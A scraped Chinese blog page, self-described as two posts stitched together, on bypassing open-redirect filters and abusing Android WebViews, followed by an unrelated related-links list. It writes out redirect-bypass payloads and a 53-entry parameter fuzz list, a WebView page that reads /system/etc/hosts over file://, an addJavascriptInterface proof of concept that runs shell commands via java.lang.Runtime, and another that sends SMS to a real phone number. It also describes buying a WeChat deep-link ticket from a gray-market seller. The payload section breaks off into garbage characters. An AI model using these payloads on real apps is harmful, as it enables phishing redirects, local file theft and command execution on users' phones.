URL跳转与webview安全浅谈

我博客的两篇文章拼接在一起所以可能看起来有些乱

起因

在一次测试中我用burpsuite搜索了关键词url找到了某处url
我测试了一下发现waf拦截了指向外域的请求,那么开始尝试绕过。所以有了这次的文章

经过

第一个我测试的url是https://mall.m.xxxxxxx.com/jump.html?url=https://baidu.com我打开成功跳转以为跳转成功,but baidu.com是在白名单的所以我就只能想办法去绕过他那么我经过了几次绕过之后发现https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io跳转成功,这是我觉得有必要总结一下url的跳转绕过思路了,那么开始吧!!

正文

  • @  绕过
    这个是利用了我们浏览器的特性,现在除了Firefox浏览器大部分都可以完成这样跳转下面是跳转的动态图
    ![aite_redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.gif"|redirect}})

  • 问号绕过
    可以使用Referer的比如https://baidu.com 可以https://任意地址/?baidu.com

  • 锚点 绕过
    利用#会被浏览器解释成HTML中的锚点 http://127.0.0.1/#qq.com

  • xip.io绕过
    http://www.baidu.com.127.0.0.1.xip.io/ 这样之后会访问127.0.0.1
How does it work?
xip.io runs a custom DNS server on the public Internet.
When your computer looks up a xip.io domain, the xip.io
DNS server extracts the IP address from the domain and
sends it back in the response.

![xip]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/1.png"|xip}})
在公网上运行自定义的dns服务器,用他的服务器提取IP地址,在响应中将他取回

  • 反斜杠绕过
    我这次测试中也是使用了这种思路
    https://mall.m.xxxxxxx.com/jump.html?url=https:/\c1h2e1.github.io

  • IP绕过

把目标的URL修改成IP地址,这样也有可能绕过waf的拦截

  • chrome浏览器特性

    http:/\/baidu.com
    http:\//baidu.com
    /\/baidu.com
    http:\\\//baidu.com

    这样的都会跳转到百度

url跳转到webview安全问题

我们这次的漏洞我在手机上测试的时候发现利用APP url Schema
也就是xxxx://app/webview?url=xxxxxxx
其实这里的任意webview跳转已经构成漏洞了但是我想更加深入一下
看到webview我想到了利用file协议读取用戶的敏感信息那么下面的两篇文章可以补一下基础
使用app内置webview 打开TextView中的超链接

乌云案例
我们先用file://协议读取一下测试文件试一下
![host]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/2.png"|host}})
我们可以看到成功读取了手机的敏感host文件,但不是只要读取成功就能完成利用的,我们还需要设计到发送并读取
这边我又测试了一下JavaScript的情况,发现开启
那么我们在vps上搭建一下利用代码

<html>
<head>
<title>test</title>
</head>
<script>
var xmlHttp;                                //定义XMLHttpRequest对象
function createXmlHttpRequestObject(){
        //如果在internet Explorer下运行
        if(window.ActiveXObject){
                try{
                        xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
                }catch(e){
                        xmlHttp=false;
                }
        }else{
        //如果在Mozilla或其他的浏览器下运行
                try{
                        xmlHttp=new XMLHttpRequest();
                }catch(e){
                        xmlHttp=false;
                }
        }
         //返回创建的对象或显示错误信息
        if(!xmlHttp)
                alert("error");
                else
                return xmlHttp;
}
function ReqHtml(){
        createXmlHttpRequestObject();
        path='file://'
        path1='/system/etc/hosts'
        xmlHttp.onreadystatechange=StatHandler;        //判断URL调用的状态值并处理
        xmlHttp.open("GET",path+path1,false);        //调用test.txt
        xmlHttp.send(null)
        alert(1)
}
function StatHandler(){
        if(xmlHttp.readyState==4 && xmlHttp.status==200){
                document.getElementById("webpage").innerHTML=xmlHttp.responseText;
                alert(xmlHttp.responseText)
        }
}
ReqHtml()
StatHandler()
</script>
<body>
<div id="webpage"></div>
</body>
</html>

在app上测试一下发现不成功。。。。
之后才得知是因为同源策略导致的,在网上各种找方法绕过后无果,没办法之好放弃。
虽然这个应用绕不过我们可以mark一点姿势
ps:很多代码都是手码的没写过JS所以可能会有一些错误不要见怪

<html>
   <body>
      <script>
         function execute(cmdArgs)
         {
             return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
         }          var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
         document.write(getContents(res.getInputStream()));
       </script>
   </body>
</html>

这个是执行命令的poc

<html>
<head>
<title>Test send</title>
<script type="text/javascript">
function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/> </body>
</html>
<html>
<head>
<title>Test sendsms</title>
<script type="text/javascript">
function execute() {
        var sendsms = jsInterface.getClass().forName("android.telephony.SmsManager").getMethod("getDefault",null),invoke(null,null);
        sendsms.sendTextMessage("13722555165",null,"get",null,null);
}
</script>
</head>
<body>
<input type="button"execute" value="test"/> </body>
</html>

突然换目标

这是我想到了weixin的协议
weixin://看了官方的文档之后我发现了微信支持如下操作

weixin://dl/general
weixin://dl/favorites 收藏
weixin://dl/scan 扫一扫
weixin://dl/feedback 反馈
weixin://dl/moments 朋友圈
weixin://dl/settings 设置
weixin://dl/notifications 消息通知设置
weixin://dl/chat 聊天设置
weixin://dl/general 通用设置
weixin://dl/officialaccounts 公众号
weixin://dl/games 游戏
weixin://dl/help 帮助
weixin://dl/feedback 反馈
weixin://dl/profile 个人信息
weixin://dl/features 功能插件

那。。。我平时打开小xx网站的时候突然弹出的微信是什么鬼
经过一番查找我找到了能够跳转的方法
weixin://dl/business/?ticket=xxxxxxxxxxxxxxxxx
那么这个ticket哪里来呢???
我在t00ls上看到一篇同样关于这个微信协议的分析他说是有人在卖api我百度了一下找到了这个地址
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/3.png"|seoniao}})
我们注册并登陆尝试一下跳转
![seoniao]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/4.png"|seoniao}})
果然还是收费,因为写文章的时候比较早他们可能没有上班所以就换个地方找一下
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/5.png"|redirect}})
我们加一下这个客服的qq
![screenshot]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/6.png"|screenshot}})
果然是我想象得那样
weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4
我们手机打开一下我得测试网页
<a href="weixin://dl/business/?ticket=taa597ccdcdf00ecb865d9e04904bbff4">demo</a>
成功打开微信并跳转~~~~

URL 跳转

这是我博客的两篇文章拼在一起的

写在前面

在技术学习中,用开阔的眼光看待安全问题会有不同的结论出现,我们本次文章所利用的思路源于国外的hackerone以及多个资源分享平台,文末会贴出链接,那么我们开始今天的URL跳转的进阶使用吧        (以后的博客质量会慢慢提升希望各位能多多提出建设性建议我的微信号:baiheming123456)

START

关于挖掘思路我相信各位都已经很熟悉了,寻找常见参数,或者使用谷歌dorking。例如:inurl:redirectUrl=http site:target.com我们在实战中可以利用burpsuite的搜索功能去寻找30X的响应码
![redirect]({{ "http://c1h2e1.oss-cn-qingdao.aliyuncs.com/image/redirect.png"|redirect}})

http的响应码

  • 300--多种选择
  • 301--永久移动
  • 302--发现
  • 307临时重定向
  • 308永久重定向

我们寻找可能跳转的链接这一步就基本上完成了,那么问题来了,绝大部分的网站都是不允许直接跳转的。这样就再一次回到了我们上一篇文章中提到的跳转绕过了URL跳转到Webview安全
我们可以参考上文中的一点点简单的思路。BUT这些思路在实战中远远不够用。所以我们衍生了新的思路
我们假设URL basic版本就是?url=https://c1h2e1.github.io

URL_Redirect PLUS

如果你看过i春秋winway表哥的文章的话我相信对他URL的fuzz扩展思路一定很清楚了吧。我们这里就不放出文档了因为是小密圈的东西
对于这个思路我们就理解为跳转参数的fuzz了
我个人整理了一份乌云案例上的
Parameter Payload下面奉上

success=https://c1h2e1.github.io
next=https://c1h2e1.github.io
data=https://c1h2e1.github.io
url=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
redirect_url=https://c1h2e1.github.io
redirect=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
dest=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
go=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

这53个参数就是我们国内常用的参数了,我们可以通过他大量的进行fuzz寻找可用的参数

URL_Redirect PLUS PULS

经过思考我们可以发现在实战中参数是一个比较重要的因素BUTURL的白名单限制如果做的好的话真的很难绕过,于是我在国外的一个网站上找到了一份URL_Payload的字典,与参数想结合之后完成了大杀器URL_Redirect PLUS PULS(手动滑稽)
我不是不想弄txt的。我主要是想让各位看着更舒服一点虽然有点多,但是并没有很麻烦


<>//Ⓛ

URL跳转与webview安全浅谈的更多相关文章

  1. 浅谈URL跳转与Webview安全

    学习信息安全技术的过程中,用开阔的眼光看待安全问题会得到不同的结论. 在一次测试中我用Burpsuite搜索了关键词url找到了某处url,测试一下发现waf拦截了指向外域的请求,于是开始尝试绕过.第 ...

  2. android端,webview内url跳转到app本地

    这是和一个前端同事沟通. app内嵌入他的web页,要通过web页内的url跳转到app的详细内容. 他的android同事,没有思路. 其实嵌入web页,用的webview控件,只要能找到webvi ...

  3. WebView加载URL跳转到系统浏览器的解决方法

    1.问题 webview加载url跳转到系统浏览器,用户体验非常的差 2.解决方法 重写WebViewClient的shouldOverrideUrlLoading(WebView view, Str ...

  4. 浅谈Hybrid技术的设计与实现第三弹——落地篇

    前言 接上文:(阅读本文前,建议阅读前两篇文章先) 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 根据之前的介绍,大家对前端与Native的交互应该有一些简单的认识了,很多 ...

  5. 浅谈Hybrid技术的设计与实现第二弹

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 接上文:浅谈Hybrid技术的设计与实现(阅读本文前,建议阅读这个先) ...

  6. 浅谈Hybrid技术的设计与实现

    前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术的设计与实现第三弹——落地篇 随着移动浪潮的兴起,各种APP层出不穷,极速的业务扩展提升了团队对开发 ...

  7. (转)浅谈Hybrid技术的设计与实现

    转载地址:https://www.cnblogs.com/yexiaochai/p/4921635.html 前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hyb ...

  8. 【微信小程序项目实践总结】30分钟从陌生到熟悉 web app 、native app、hybrid app比较 30分钟ES6从陌生到熟悉 【原创】浅谈内存泄露 HTML5 五子棋 - JS/Canvas 游戏 meta 详解,html5 meta 标签日常设置 C#中回滚TransactionScope的使用方法和原理

    [微信小程序项目实践总结]30分钟从陌生到熟悉 前言 我们之前对小程序做了基本学习: 1. 微信小程序开发07-列表页面怎么做 2. 微信小程序开发06-一个业务页面的完成 3. 微信小程序开发05- ...

  9. 浅谈Hybrid技术的设计与实现【转】

    https://www.cnblogs.com/yexiaochai/p/4921635.html 前言 浅谈Hybrid技术的设计与实现 浅谈Hybrid技术的设计与实现第二弹 浅谈Hybrid技术 ...

随机推荐

  1. win10系统下使用markdown2出现的问题

    1.转载自:http://blog.csdn.net/chengjierui/article/details/53065599 电脑系统升级Win10后启动不了Markdown Pad2,报错’Awe ...

  2. socket.io笔记

    API 网址:https://socket.io/get-started/chat/ 页面上引入: 服务器: 每一个socket可以触发一个断开连接事件: 如果需要使用jquery: 引入网页的jqu ...

  3. git私有仓库与pycharm联合使用

    文章目录 1 创建git私有仓库和pycharm的使用 1.1 克隆私有仓库到本地 1.2 使用pycharm打开 1.3 添加.gitignore文件 1.4 并将其添加到仓库 1.5 提交和推送 ...

  4. angular2报错

    1.运行ng serve的时候卡在95% emitting LicenseWebpackPlugin 放弃使用cnpm,使用yarn 删除node_modules (不需要删除project目录重新n ...

  5. day22.面向对象初识

    1.面向对象引入 先来创建一个小游戏:人狗大战 # 定义一个狗 def Gog(name,blood,aggr,kind): dog = { 'name':name, 'blood':blood, ' ...

  6. Linux从入门到进阶全集——【第八集:软件包管理:rpm、tar、yum】

    1,对Linux下软件的了解 源码包:未编译,要编译安装. 二进制包:已编译,可直接安装. 2,centos和ubuntu下的软件包对比: [centos]rpm文件手动安装,使用rpm指令     ...

  7. Kafka提交offset机制

    在kafka的消费者中,有一个非常关键的机制,那就是offset机制.它使得Kafka在消费的过程中即使挂了或者引发再均衡问题重新分配Partation,当下次重新恢复消费时仍然可以知道从哪里开始消费 ...

  8. xpath解析html

    XPath XPath 是一门在 XML 文档中查找信息的语言.XPath 可用来在 XML 文档中对元素和属性进行遍历.XPath 是 W3C XSLT 标准的主要元素,并且 XQuery 和 XP ...

  9. [OC] 各型号iPhone的屏幕分辨率与开发使用的数值

  10. 输出九九乘法表(Python、Java、C、C++、JavaScript)

    最近在学python的过程中,接触到了循环的知识,以及这个案例,于是写了下!感觉还不错,然后就用其它几种语言也试了下!! 接下来,就跟大家分享下实现方法!! 实现输出九九乘法表,主要用到的是循环的知识 ...